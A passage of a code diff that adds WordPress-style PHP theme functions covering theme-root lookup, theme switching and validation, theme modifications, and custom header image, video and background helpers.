+				$sub_dirs = @ scandir( $theme_root . '/' . $dir );
+				if ( ! $sub_dirs ) {
+					trigger_error( "$theme_root/$dir is not readable", E_USER_NOTICE );
+					continue;
+				}
+				foreach ( $sub_dirs as $sub_dir ) {
+					if ( ! is_dir( $theme_root . '/' . $dir . '/' . $sub_dir ) || $dir[0] == '.' || $dir == 'CVS' )
+						continue;
+					if ( ! file_exists( $theme_root . '/' . $dir . '/' . $sub_dir . '/style.css' ) )
+						continue;
+					$found_themes[ $dir . '/' . $sub_dir ] = array(
+						'theme_file' => $dir . '/' . $sub_dir . '/style.css',
+						'theme_root' => $theme_root,
+					);
+					$found_theme = true;
+				}
+				// Never mind the above, it's just a theme missing a style.css.
+				// Return it; WP_Theme will catch the error.
+				if ( ! $found_theme )
+					$found_themes[ $dir ] = array(
+						'theme_file' => $dir . '/style.css',
+						'theme_root' => $theme_root,
+					);
+			}
+		}
+	}
+
+	asort( $found_themes );
+
+	$theme_roots = array();
+	$relative_theme_roots = array_flip( $relative_theme_roots );
+
+	foreach ( $found_themes as $theme_dir => $theme_data ) {
+		$theme_roots[ $theme_dir ] = $relative_theme_roots[ $theme_data['theme_root'] ]; // Convert absolute to relative.
+	}
+
+	if ( $theme_roots != get_site_transient( 'theme_roots' ) )
+		set_site_transient( 'theme_roots', $theme_roots, $cache_expiration );
+
+	return $found_themes;
+}
+
+/**
+ * Retrieve path to themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @param string $stylesheet_or_template The stylesheet or template name of the theme
+ * @return string Theme path.
+ */
+function get_theme_root( $stylesheet_or_template = false ) {
+	global $wp_theme_directories;
+
+	if ( $stylesheet_or_template && $theme_root = get_raw_theme_root( $stylesheet_or_template ) ) {
+		// Always prepend WP_CONTENT_DIR unless the root currently registered as a theme directory.
+		// This gives relative theme roots the benefit of the doubt when things go haywire.
+		if ( ! in_array( $theme_root, (array) $wp_theme_directories ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+	} else {
+		$theme_root = WP_CONTENT_DIR . '/themes';
+	}
+
+	/**
+	 * Filters the absolute path to the themes directory.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $theme_root Absolute path to themes directory.
+	 */
+	return apply_filters( 'theme_root', $theme_root );
+}
+
+/**
+ * Retrieve URI for themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme.
+ * 	                                     Default is to leverage the main theme root.
+ * @param string $theme_root             Optional. The theme root for which calculations will be based, preventing
+ * 	                                     the need for a get_raw_theme_root() call.
+ * @return string Themes URI.
+ */
+function get_theme_root_uri( $stylesheet_or_template = false, $theme_root = false ) {
+	global $wp_theme_directories;
+
+	if ( $stylesheet_or_template && ! $theme_root )
+		$theme_root = get_raw_theme_root( $stylesheet_or_template );
+
+	if ( $stylesheet_or_template && $theme_root ) {
+		if ( in_array( $theme_root, (array) $wp_theme_directories ) ) {
+			// Absolute path. Make an educated guess. YMMV -- but note the filter below.
+			if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) )
+				$theme_root_uri = content_url( str_replace( WP_CONTENT_DIR, '', $theme_root ) );
+			elseif ( 0 === strpos( $theme_root, ABSPATH ) )
+				$theme_root_uri = site_url( str_replace( ABSPATH, '', $theme_root ) );
+			elseif ( 0 === strpos( $theme_root, WP_PLUGIN_DIR ) || 0 === strpos( $theme_root, WPMU_PLUGIN_DIR ) )
+				$theme_root_uri = plugins_url( basename( $theme_root ), $theme_root );
+			else
+				$theme_root_uri = $theme_root;
+		} else {
+			$theme_root_uri = content_url( $theme_root );
+		}
+	} else {
+		$theme_root_uri = content_url( 'themes' );
+	}
+
+	/**
+	 * Filters the URI for themes directory.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $theme_root_uri         The URI for themes directory.
+	 * @param string $siteurl                WordPress web address which is set in General Options.
+	 * @param string $stylesheet_or_template Stylesheet or template name of the theme.
+	 */
+	return apply_filters( 'theme_root_uri', $theme_root_uri, get_option( 'siteurl' ), $stylesheet_or_template );
+}
+
+/**
+ * Get the raw theme root relative to the content directory with no filters applied.
+ *
+ * @since 3.1.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @param string $stylesheet_or_template The stylesheet or template name of the theme
+ * @param bool   $skip_cache             Optional. Whether to skip the cache.
+ *                                       Defaults to false, meaning the cache is used.
+ * @return string Theme root
+ */
+function get_raw_theme_root( $stylesheet_or_template, $skip_cache = false ) {
+	global $wp_theme_directories;
+
+	if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) {
+		return '/themes';
+	}
+
+	$theme_root = false;
+
+	// If requesting the root for the current theme, consult options to avoid calling get_theme_roots()
+	if ( ! $skip_cache ) {
+		if ( get_option('stylesheet') == $stylesheet_or_template )
+			$theme_root = get_option('stylesheet_root');
+		elseif ( get_option('template') == $stylesheet_or_template )
+			$theme_root = get_option('template_root');
+	}
+
+	if ( empty($theme_root) ) {
+		$theme_roots = get_theme_roots();
+		if ( !empty($theme_roots[$stylesheet_or_template]) )
+			$theme_root = $theme_roots[$stylesheet_or_template];
+	}
+
+	return $theme_root;
+}
+
+/**
+ * Display localized stylesheet link element.
+ *
+ * @since 2.1.0
+ */
+function locale_stylesheet() {
+	$stylesheet = get_locale_stylesheet_uri();
+	if ( empty($stylesheet) )
+		return;
+	echo '<link rel="stylesheet" href="' . $stylesheet . '" type="text/css" media="screen" />';
+}
+
+/**
+ * Switches the theme.
+ *
+ * Accepts one argument: $stylesheet of the theme. It also accepts an additional function signature
+ * of two arguments: $template then $stylesheet. This is for backward compatibility.
+ *
+ * @since 2.5.0
+ *
+ * @global array                $wp_theme_directories
+ * @global WP_Customize_Manager $wp_customize
+ * @global array                $sidebars_widgets
+ *
+ * @param string $stylesheet Stylesheet name
+ */
+function switch_theme( $stylesheet ) {
+	global $wp_theme_directories, $wp_customize, $sidebars_widgets;
+
+	$_sidebars_widgets = null;
+	if ( 'wp_ajax_customize_save' === current_action() ) {
+		$old_sidebars_widgets_data_setting = $wp_customize->get_setting( 'old_sidebars_widgets_data' );
+		if ( $old_sidebars_widgets_data_setting ) {
+			$_sidebars_widgets = $wp_customize->post_value( $old_sidebars_widgets_data_setting );
+		}
+	} elseif ( is_array( $sidebars_widgets ) ) {
+		$_sidebars_widgets = $sidebars_widgets;
+	}
+
+	if ( is_array( $_sidebars_widgets ) ) {
+		set_theme_mod( 'sidebars_widgets', array( 'time' => time(), 'data' => $_sidebars_widgets ) );
+	}
+
+	$nav_menu_locations = get_theme_mod( 'nav_menu_locations' );
+	update_option( 'theme_switch_menu_locations', $nav_menu_locations );
+
+	if ( func_num_args() > 1 ) {
+		$stylesheet = func_get_arg( 1 );
+	}
+
+	$old_theme = wp_get_theme();
+	$new_theme = wp_get_theme( $stylesheet );
+	$template  = $new_theme->get_template();
+
+	update_option( 'template', $template );
+	update_option( 'stylesheet', $stylesheet );
+
+	if ( count( $wp_theme_directories ) > 1 ) {
+		update_option( 'template_root', get_raw_theme_root( $template, true ) );
+		update_option( 'stylesheet_root', get_raw_theme_root( $stylesheet, true ) );
+	} else {
+		delete_option( 'template_root' );
+		delete_option( 'stylesheet_root' );
+	}
+
+	$new_name  = $new_theme->get('Name');
+
+	update_option( 'current_theme', $new_name );
+
+	// Migrate from the old mods_{name} option to theme_mods_{slug}.
+	if ( is_admin() && false === get_option( 'theme_mods_' . $stylesheet ) ) {
+		$default_theme_mods = (array) get_option( 'mods_' . $new_name );
+		if ( ! empty( $nav_menu_locations ) && empty( $default_theme_mods['nav_menu_locations'] ) ) {
+			$default_theme_mods['nav_menu_locations'] = $nav_menu_locations;
+		}
+		add_option( "theme_mods_$stylesheet", $default_theme_mods );
+	} else {
+		/*
+		 * Since retrieve_widgets() is called when initializing a theme in the Customizer,
+		 * we need to remove the theme mods to avoid overwriting changes made via
+		 * the Customizer when accessing wp-admin/widgets.php.
+		 */
+		if ( 'wp_ajax_customize_save' === current_action() ) {
+			remove_theme_mod( 'sidebars_widgets' );
+		}
+	}
+
+	update_option( 'theme_switched', $old_theme->get_stylesheet() );
+
+	/**
+	 * Fires after the theme is switched.
+	 *
+	 * @since 1.5.0
+	 * @since 4.5.0 Introduced the `$old_theme` parameter.
+	 *
+	 * @param string   $new_name  Name of the new theme.
+	 * @param WP_Theme $new_theme WP_Theme instance of the new theme.
+	 * @param WP_Theme $old_theme WP_Theme instance of the old theme.
+	 */
+	do_action( 'switch_theme', $new_name, $new_theme, $old_theme );
+}
+
+/**
+ * Checks that current theme files 'index.php' and 'style.css' exists.
+ *
+ * Does not initially check the default theme, which is the fallback and should always exist.
+ * But if it doesn't exist, it'll fall back to the latest core default theme that does exist.
+ * Will switch theme to the fallback theme if current theme does not validate.
+ *
+ * You can use the {@see 'validate_current_theme'} filter to return false to
+ * disable this functionality.
+ *
+ * @since 1.5.0
+ * @see WP_DEFAULT_THEME
+ *
+ * @return bool
+ */
+function validate_current_theme() {
+	/**
+	 * Filters whether to validate the current theme.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param bool $validate Whether to validate the current theme. Default true.
+	 */
+	if ( wp_installing() || ! apply_filters( 'validate_current_theme', true ) )
+		return true;
+
+	if ( ! file_exists( get_template_directory() . '/index.php' ) ) {
+		// Invalid.
+	} elseif ( ! file_exists( get_template_directory() . '/style.css' ) ) {
+		// Invalid.
+	} elseif ( is_child_theme() && ! file_exists( get_stylesheet_directory() . '/style.css' ) ) {
+		// Invalid.
+	} else {
+		// Valid.
+		return true;
+	}
+
+	$default = wp_get_theme( WP_DEFAULT_THEME );
+	if ( $default->exists() ) {
+		switch_theme( WP_DEFAULT_THEME );
+		return false;
+	}
+
+	/**
+	 * If we're in an invalid state but WP_DEFAULT_THEME doesn't exist,
+	 * switch to the latest core default theme that's installed.
+	 * If it turns out that this latest core default theme is our current
+	 * theme, then there's nothing we can do about that, so we have to bail,
+	 * rather than going into an infinite loop. (This is why there are
+	 * checks against WP_DEFAULT_THEME above, also.) We also can't do anything
+	 * if it turns out there is no default theme installed. (That's `false`.)
+	 */
+	$default = WP_Theme::get_core_default_theme();
+	if ( false === $default || get_stylesheet() == $default->get_stylesheet() ) {
+		return true;
+	}
+
+	switch_theme( $default->get_stylesheet() );
+	return false;
+}
+
+/**
+ * Retrieve all theme modifications.
+ *
+ * @since 3.1.0
+ *
+ * @return array|void Theme modifications.
+ */
+function get_theme_mods() {
+	$theme_slug = get_option( 'stylesheet' );
+	$mods = get_option( "theme_mods_$theme_slug" );
+	if ( false === $mods ) {
+		$theme_name = get_option( 'current_theme' );
+		if ( false === $theme_name )
+			$theme_name = wp_get_theme()->get('Name');
+		$mods = get_option( "mods_$theme_name" ); // Deprecated location.
+		if ( is_admin() && false !== $mods ) {
+			update_option( "theme_mods_$theme_slug", $mods );
+			delete_option( "mods_$theme_name" );
+		}
+	}
+	return $mods;
+}
+
+/**
+ * Retrieve theme modification value for the current theme.
+ *
+ * If the modification name does not exist, then the $default will be passed
+ * through {@link https://secure.php.net/sprintf sprintf()} PHP function with the first
+ * string the template directory URI and the second string the stylesheet
+ * directory URI.
+ *
+ * @since 2.1.0
+ *
+ * @param string      $name    Theme modification name.
+ * @param bool|string $default
+ * @return string
+ */
+function get_theme_mod( $name, $default = false ) {
+	$mods = get_theme_mods();
+
+	if ( isset( $mods[$name] ) ) {
+		/**
+		 * Filters the theme modification, or 'theme_mod', value.
+		 *
+		 * The dynamic portion of the hook name, `$name`, refers to
+		 * the key name of the modification array. For example,
+		 * 'header_textcolor', 'header_image', and so on depending
+		 * on the theme options.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $current_mod The value of the current theme modification.
+		 */
+		return apply_filters( "theme_mod_{$name}", $mods[$name] );
+	}
+
+	if ( is_string( $default ) )
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+
+	/** This filter is documented in wp-includes/theme.php */
+	return apply_filters( "theme_mod_{$name}", $default );
+}
+
+/**
+ * Update theme modification value for the current theme.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name  Theme modification name.
+ * @param mixed  $value Theme modification value.
+ */
+function set_theme_mod( $name, $value ) {
+	$mods = get_theme_mods();
+	$old_value = isset( $mods[ $name ] ) ? $mods[ $name ] : false;
+
+	/**
+	 * Filters the theme mod value on save.
+	 *
+	 * The dynamic portion of the hook name, `$name`, refers to the key name of
+	 * the modification array. For example, 'header_textcolor', 'header_image',
+	 * and so on depending on the theme options.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $value     The new value of the theme mod.
+	 * @param string $old_value The current value of the theme mod.
+	 */
+	$mods[ $name ] = apply_filters( "pre_set_theme_mod_{$name}", $value, $old_value );
+
+	$theme = get_option( 'stylesheet' );
+	update_option( "theme_mods_$theme", $mods );
+}
+
+/**
+ * Remove theme modification name from current theme list.
+ *
+ * If removing the name also removes all elements, then the entire option will
+ * be removed.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ */
+function remove_theme_mod( $name ) {
+	$mods = get_theme_mods();
+
+	if ( ! isset( $mods[ $name ] ) )
+		return;
+
+	unset( $mods[ $name ] );
+
+	if ( empty( $mods ) ) {
+		remove_theme_mods();
+		return;
+	}
+	$theme = get_option( 'stylesheet' );
+	update_option( "theme_mods_$theme", $mods );
+}
+
+/**
+ * Remove theme modifications option for current theme.
+ *
+ * @since 2.1.0
+ */
+function remove_theme_mods() {
+	delete_option( 'theme_mods_' . get_option( 'stylesheet' ) );
+
+	// Old style.
+	$theme_name = get_option( 'current_theme' );
+	if ( false === $theme_name )
+		$theme_name = wp_get_theme()->get('Name');
+	delete_option( 'mods_' . $theme_name );
+}
+
+/**
+ * Retrieves the custom header text color in 3- or 6-digit hexadecimal form.
+ *
+ * @since 2.1.0
+ *
+ * @return string Header text color in 3- or 6-digit hexadecimal form (minus the hash symbol).
+ */
+function get_header_textcolor() {
+	return get_theme_mod('header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
+}
+
+/**
+ * Displays the custom header text color in 3- or 6-digit hexadecimal form (minus the hash symbol).
+ *
+ * @since 2.1.0
+ */
+function header_textcolor() {
+	echo get_header_textcolor();
+}
+
+/**
+ * Whether to display the header text.
+ *
+ * @since 3.4.0
+ *
+ * @return bool
+ */
+function display_header_text() {
+	if ( ! current_theme_supports( 'custom-header', 'header-text' ) )
+		return false;
+
+	$text_color = get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
+	return 'blank' !== $text_color;
+}
+
+/**
+ * Check whether a header image is set or not.
+ *
+ * @since 4.2.0
+ *
+ * @see get_header_image()
+ *
+ * @return bool Whether a header image is set or not.
+ */
+function has_header_image() {
+	return (bool) get_header_image();
+}
+
+/**
+ * Retrieve header image for custom header.
+ *
+ * @since 2.1.0
+ *
+ * @return string|false
+ */
+function get_header_image() {
+	$url = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );
+
+	if ( 'remove-header' == $url )
+		return false;
+
+	if ( is_random_header_image() )
+		$url = get_random_header_image();
+
+	return esc_url_raw( set_url_scheme( $url ) );
+}
+
+/**
+ * Create image tag markup for a custom header image.
+ *
+ * @since 4.4.0
+ *
+ * @param array $attr Optional. Additional attributes for the image tag. Can be used
+ *                              to override the default attributes. Default empty.
+ * @return string HTML image element markup or empty string on failure.
+ */
+function get_header_image_tag( $attr = array() ) {
+	$header = get_custom_header();
+	$header->url = get_header_image();
+
+	if ( ! $header->url ) {
+		return '';
+	}
+
+	$width = absint( $header->width );
+	$height = absint( $header->height );
+
+	$attr = wp_parse_args(
+		$attr,
+		array(
+			'src' => $header->url,
+			'width' => $width,
+			'height' => $height,
+			'alt' => get_bloginfo( 'name' ),
+		)
+	);
+
+	// Generate 'srcset' and 'sizes' if not already present.
+	if ( empty( $attr['srcset'] ) && ! empty( $header->attachment_id ) ) {
+		$image_meta = get_post_meta( $header->attachment_id, '_wp_attachment_metadata', true );
+		$size_array = array( $width, $height );
+
+		if ( is_array( $image_meta ) ) {
+			$srcset = wp_calculate_image_srcset( $size_array, $header->url, $image_meta, $header->attachment_id );
+			$sizes = ! empty( $attr['sizes'] ) ? $attr['sizes'] : wp_calculate_image_sizes( $size_array, $header->url, $image_meta, $header->attachment_id );
+
+			if ( $srcset && $sizes ) {
+				$attr['srcset'] = $srcset;
+				$attr['sizes'] = $sizes;
+			}
+		}
+	}
+
+	$attr = array_map( 'esc_attr', $attr );
+	$html = '<img';
+
+	foreach ( $attr as $name => $value ) {
+		$html .= ' ' . $name . '="' . $value . '"';
+	}
+
+	$html .= ' />';
+
+	/**
+	 * Filters the markup of header images.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $html   The HTML image tag markup being filtered.
+	 * @param object $header The custom header object returned by 'get_custom_header()'.
+	 * @param array  $attr   Array of the attributes for the image tag.
+	 */
+	return apply_filters( 'get_header_image_tag', $html, $header, $attr );
+}
+
+/**
+ * Display the image markup for a custom header image.
+ *
+ * @since 4.4.0
+ *
+ * @param array $attr Optional. Attributes for the image markup. Default empty.
+ */
+function the_header_image_tag( $attr = array() ) {
+	echo get_header_image_tag( $attr );
+}
+
+/**
+ * Get random header image data from registered images in theme.
+ *
+ * @since 3.4.0
+ *
+ * @access private
+ *
+ * @global array  $_wp_default_headers
+ * @staticvar object $_wp_random_header
+ *
+ * @return object
+ */
+function _get_random_header_data() {
+	static $_wp_random_header = null;
+
+	if ( empty( $_wp_random_header ) ) {
+		global $_wp_default_headers;
+		$header_image_mod = get_theme_mod( 'header_image', '' );
+		$headers = array();
+
+		if ( 'random-uploaded-image' == $header_image_mod )
+			$headers = get_uploaded_header_images();
+		elseif ( ! empty( $_wp_default_headers ) ) {
+			if ( 'random-default-image' == $header_image_mod ) {
+				$headers = $_wp_default_headers;
+			} else {
+				if ( current_theme_supports( 'custom-header', 'random-default' ) )
+					$headers = $_wp_default_headers;
+			}
+		}
+
+		if ( empty( $headers ) )
+			return new stdClass;
+
+		$_wp_random_header = (object) $headers[ array_rand( $headers ) ];
+
+		$_wp_random_header->url =  sprintf( $_wp_random_header->url, get_template_directory_uri(), get_stylesheet_directory_uri() );
+		$_wp_random_header->thumbnail_url =  sprintf( $_wp_random_header->thumbnail_url, get_template_directory_uri(), get_stylesheet_directory_uri() );
+	}
+	return $_wp_random_header;
+}
+
+/**
+ * Get random header image url from registered images in theme.
+ *
+ * @since 3.2.0
+ *
+ * @return string Path to header image
+ */
+function get_random_header_image() {
+	$random_image = _get_random_header_data();
+	if ( empty( $random_image->url ) )
+		return '';
+	return $random_image->url;
+}
+
+/**
+ * Check if random header image is in use.
+ *
+ * Always true if user expressly chooses the option in Appearance > Header.
+ * Also true if theme has multiple header images registered, no specific header image
+ * is chosen, and theme turns on random headers with add_theme_support().
+ *
+ * @since 3.2.0
+ *
+ * @param string $type The random pool to use. any|default|uploaded
+ * @return bool
+ */
+function is_random_header_image( $type = 'any' ) {
+	$header_image_mod = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );
+
+	if ( 'any' == $type ) {
+		if ( 'random-default-image' == $header_image_mod || 'random-uploaded-image' == $header_image_mod || ( '' != get_random_header_image() && empty( $header_image_mod ) ) )
+			return true;
+	} else {
+		if ( "random-$type-image" == $header_image_mod )
+			return true;
+		elseif ( 'default' == $type && empty( $header_image_mod ) && '' != get_random_header_image() )
+			return true;
+	}
+
+	return false;
+}
+
+/**
+ * Display header image URL.
+ *
+ * @since 2.1.0
+ */
+function header_image() {
+	$image = get_header_image();
+	if ( $image ) {
+		echo esc_url( $image );
+	}
+}
+
+/**
+ * Get the header images uploaded for the current theme.
+ *
+ * @since 3.2.0
+ *
+ * @return array
+ */
+function get_uploaded_header_images() {
+	$header_images = array();
+
+	// @todo caching
+	$headers = get_posts( array( 'post_type' => 'attachment', 'meta_key' => '_wp_attachment_is_custom_header', 'meta_value' => get_option('stylesheet'), 'orderby' => 'none', 'nopaging' => true ) );
+
+	if ( empty( $headers ) )
+		return array();
+
+	foreach ( (array) $headers as $header ) {
+		$url = esc_url_raw( wp_get_attachment_url( $header->ID ) );
+		$header_data = wp_get_attachment_metadata( $header->ID );
+		$header_index = $header->ID;
+
+		$header_images[$header_index] = array();
+		$header_images[$header_index]['attachment_id'] = $header->ID;
+		$header_images[$header_index]['url'] =  $url;
+		$header_images[$header_index]['thumbnail_url'] = $url;
+		$header_images[$header_index]['alt_text'] = get_post_meta( $header->ID, '_wp_attachment_image_alt', true );
+		$header_images[$header_index]['attachment_parent'] = isset( $header_data['attachment_parent'] ) ? $header_data['attachment_parent'] : '';
+
+		if ( isset( $header_data['width'] ) )
+			$header_images[$header_index]['width'] = $header_data['width'];
+		if ( isset( $header_data['height'] ) )
+			$header_images[$header_index]['height'] = $header_data['height'];
+	}
+
+	return $header_images;
+}
+
+/**
+ * Get the header image data.
+ *
+ * @since 3.4.0
+ *
+ * @global array $_wp_default_headers
+ *
+ * @return object
+ */
+function get_custom_header() {
+	global $_wp_default_headers;
+
+	if ( is_random_header_image() ) {
+		$data = _get_random_header_data();
+	} else {
+		$data = get_theme_mod( 'header_image_data' );
+		if ( ! $data && current_theme_supports( 'custom-header', 'default-image' ) ) {
+			$directory_args = array( get_template_directory_uri(), get_stylesheet_directory_uri() );
+			$data = array();
+			$data['url'] = $data['thumbnail_url'] = vsprintf( get_theme_support( 'custom-header', 'default-image' ), $directory_args );
+			if ( ! empty( $_wp_default_headers ) ) {
+				foreach ( (array) $_wp_default_headers as $default_header ) {
+					$url = vsprintf( $default_header['url'], $directory_args );
+					if ( $data['url'] == $url ) {
+						$data = $default_header;
+						$data['url'] = $url;
+						$data['thumbnail_url'] = vsprintf( $data['thumbnail_url'], $directory_args );
+						break;
+					}
+				}
+			}
+		}
+	}
+
+	$default = array(
+		'url'           => '',
+		'thumbnail_url' => '',
+		'width'         => get_theme_support( 'custom-header', 'width' ),
+		'height'        => get_theme_support( 'custom-header', 'height' ),
+		'video'         => get_theme_support( 'custom-header', 'video' ),
+	);
+	return (object) wp_parse_args( $data, $default );
+}
+
+/**
+ * Register a selection of default headers to be displayed by the custom header admin UI.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_default_headers
+ *
+ * @param array $headers Array of headers keyed by a string id. The ids point to arrays containing 'url', 'thumbnail_url', and 'description' keys.
+ */
+function register_default_headers( $headers ) {
+	global $_wp_default_headers;
+
+	$_wp_default_headers = array_merge( (array) $_wp_default_headers, (array) $headers );
+}
+
+/**
+ * Unregister default headers.
+ *
+ * This function must be called after register_default_headers() has already added the
+ * header you want to remove.
+ *
+ * @see register_default_headers()
+ * @since 3.0.0
+ *
+ * @global array $_wp_default_headers
+ *
+ * @param string|array $header The header string id (key of array) to remove, or an array thereof.
+ * @return bool|void A single header returns true on success, false on failure.
+ *                   There is currently no return value for multiple headers.
+ */
+function unregister_default_headers( $header ) {
+	global $_wp_default_headers;
+	if ( is_array( $header ) ) {
+		array_map( 'unregister_default_headers', $header );
+	} elseif ( isset( $_wp_default_headers[ $header ] ) ) {
+		unset( $_wp_default_headers[ $header ] );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Check whether a header video is set or not.
+ *
+ * @since 4.7.0
+ *
+ * @see get_header_video_url()
+ *
+ * @return bool Whether a header video is set or not.
+ */
+function has_header_video() {
+	return (bool) get_header_video_url();
+}
+
+/**
+ * Retrieve header video URL for custom header.
+ *
+ * Uses a local video if present, or falls back to an external video.
+ *
+ * @since 4.7.0
+ *
+ * @return string|false Header video URL or false if there is no video.
+ */
+function get_header_video_url() {
+	$id = absint( get_theme_mod( 'header_video' ) );
+	$url = esc_url( get_theme_mod( 'external_header_video' ) );
+
+	if ( $id ) {
+		// Get the file URL from the attachment ID.
+		$url = wp_get_attachment_url( $id );
+	}
+
+	/**
+	 * Filters the header video URL.
+	 *
+	 * @since 4.7.3
+	 *
+	 * @param string $url Header video URL, if available.
+	 */
+	$url = apply_filters( 'get_header_video_url', $url );
+
+	if ( ! $id && ! $url ) {
+		return false;
+	}
+
+	return esc_url_raw( set_url_scheme( $url ) );
+}
+
+/**
+ * Display header video URL.
+ *
+ * @since 4.7.0
+ */
+function the_header_video_url() {
+	$video = get_header_video_url();
+	if ( $video ) {
+		echo esc_url( $video );
+	}
+}
+
+/**
+ * Retrieve header video settings.
+ *
+ * @since 4.7.0
+ *
+ * @return array
+ */
+function get_header_video_settings() {
+	$header     = get_custom_header();
+	$video_url  = get_header_video_url();
+	$video_type = wp_check_filetype( $video_url, wp_get_mime_types() );
+
+	$settings = array(
+		'mimeType'  => '',
+		'posterUrl' => get_header_image(),
+		'videoUrl'  => $video_url,
+		'width'     => absint( $header->width ),
+		'height'    => absint( $header->height ),
+		'minWidth'  => 900,
+		'minHeight' => 500,
+		'l10n'      => array(
+			'pause'      => __( 'Pause' ),
+			'play'       => __( 'Play' ),
+			'pauseSpeak' => __( 'Video is paused.'),
+			'playSpeak'  => __( 'Video is playing.'),
+		),
+	);
+
+	if ( preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video_url ) ) {
+		$settings['mimeType'] = 'video/x-youtube';
+	} elseif ( ! empty( $video_type['type'] ) ) {
+		$settings['mimeType'] = $video_type['type'];
+	}
+
+	return apply_filters( 'header_video_settings', $settings );
+}
+
+/**
+ * Check whether a custom header is set or not.
+ *
+ * @since 4.7.0
+ *
+ * @return bool True if a custom header is set. False if not.
+ */
+function has_custom_header() {
+	if ( has_header_image() || ( has_header_video() && is_header_video_active() ) ) {
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Checks whether the custom header video is eligible to show on the current page.
+ *
+ * @since 4.7.0
+ *
+ * @return bool True if the custom header video should be shown. False if not.
+ */
+function is_header_video_active() {
+	if ( ! get_theme_support( 'custom-header', 'video' ) ) {
+		return false;
+	}
+
+	$video_active_cb = get_theme_support( 'custom-header', 'video-active-callback' );
+
+	if ( empty( $video_active_cb ) || ! is_callable( $video_active_cb ) ) {
+		$show_video = true;
+	} else {
+		$show_video = call_user_func( $video_active_cb );
+	}
+
+	/**
+	 * Modify whether the custom header video is eligible to show on the current page.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool $show_video Whether the custom header video should be shown. Returns the value
+	 *                         of the theme setting for the `custom-header`'s `video-active-callback`.
+	 *                         If no callback is set, the default value is that of `is_front_page()`.
+	 */
+	return apply_filters( 'is_header_video_active', $show_video );
+}
+
+/**
+ * Retrieve the markup for a custom header.
+ *
+ * The container div will always be returned in the Customizer preview.
+ *
+ * @since 4.7.0
+ *
+ * @return string The markup for a custom header on success.
+ */
+function get_custom_header_markup() {
+	if ( ! has_custom_header() && ! is_customize_preview() ) {
+		return '';
+	}
+
+	return sprintf(
+		'<div id="wp-custom-header" class="wp-custom-header">%s</div>',
+		get_header_image_tag()
+	);
+}
+
+/**
+ * Print the markup for a custom header.
+ *
+ * A container div will always be printed in the Customizer preview.
+ *
+ * @since 4.7.0
+ */
+function the_custom_header_markup() {
+	$custom_header = get_custom_header_markup();
+	if ( empty( $custom_header ) ) {
+		return;
+	}
+
+	echo $custom_header;
+
+	if ( is_header_video_active() && ( has_header_video() || is_customize_preview() ) ) {
+		wp_enqueue_script( 'wp-custom-header' );
+		wp_localize_script( 'wp-custom-header', '_wpCustomHeaderSettings', get_header_video_settings() );
+	}
+}
+
+/**
+ * Retrieve background image for custom background.
+ *
+ * @since 3.0.0
+ *
+ * @return string
+ */
+function get_background_image() {
+	return get_theme_mod('background_image', get_theme_support( 'custom-background', 'default-image' ) );
+}
+
+/**
+ * Display background image path.
+ *
+ * @since 3.0.0
+ */
+function background_image() {
+	echo get_background_image();
+}
+
+/**
+ * Retrieve value for custom background color.
+ *
+ * @since 3.0.0
+ *
+ * @return string
+ */
+function get_background_color() {
+	return get_theme_mod('background_color', get_theme_support( 'custom-background', 'default-color' ) );
+}
+
+/**
+ * Display background color value.
+ *
+ * @since 3.0.0
+ */
+function background_color() {
+	echo get_background_color();
+}
+
+/**
+ * Default custom background callback.
+ *
+ * @since 3.0.0
+ */
+function _custom_background_cb() {
+	// $background is the saved custom image, or the default image.
+	$background = set_url_scheme( get_background_image() );
+
+	// $color is the saved custom color.
+	// A default has to be specified in style.css. It will not be printed here.
+	$color = get_background_color();
+
+	if ( $color === get_theme_support( 'custom-background', 'default-color' ) ) {
+		$color = false;
+	}
+
+	if ( ! $background && ! $color ) {
+		if ( is_customize_preview() ) {
+			echo '<style type="text/css" id="custom-background-css"></style>';
+		}
+		return;
+	}
+
+	$style = $color ? "background-color: #$color;" : '';
+
+	if ( $background ) {
+		$image = ' background-image: url("' . esc_url_raw( $background ) . '");';
+
+		// Background Position.
+		$position_x = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
+		$position_y = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );
+
+		if ( ! in_array( $position_x, array( 'left', 'center', 'right' ), true ) ) {
+			$position_x = 'left';
+		}
+
+		if ( ! in_array( $position_y, array( 'top', 'center', 'bottom' ), true ) ) {
+			$position_y = 'top';
+		}
+
+		$position = " background-position: $position_x $position_y;";
+
+		// Background Size.
+		$size = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );
+
+		if ( ! in_array( $size, array( 'auto', 'contain', 'cover' ), true ) ) {
+			$size = 'auto';
+		}
+
+		$size = " background-size: $size;";
+
+		// Background Repeat.
+		$repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
+
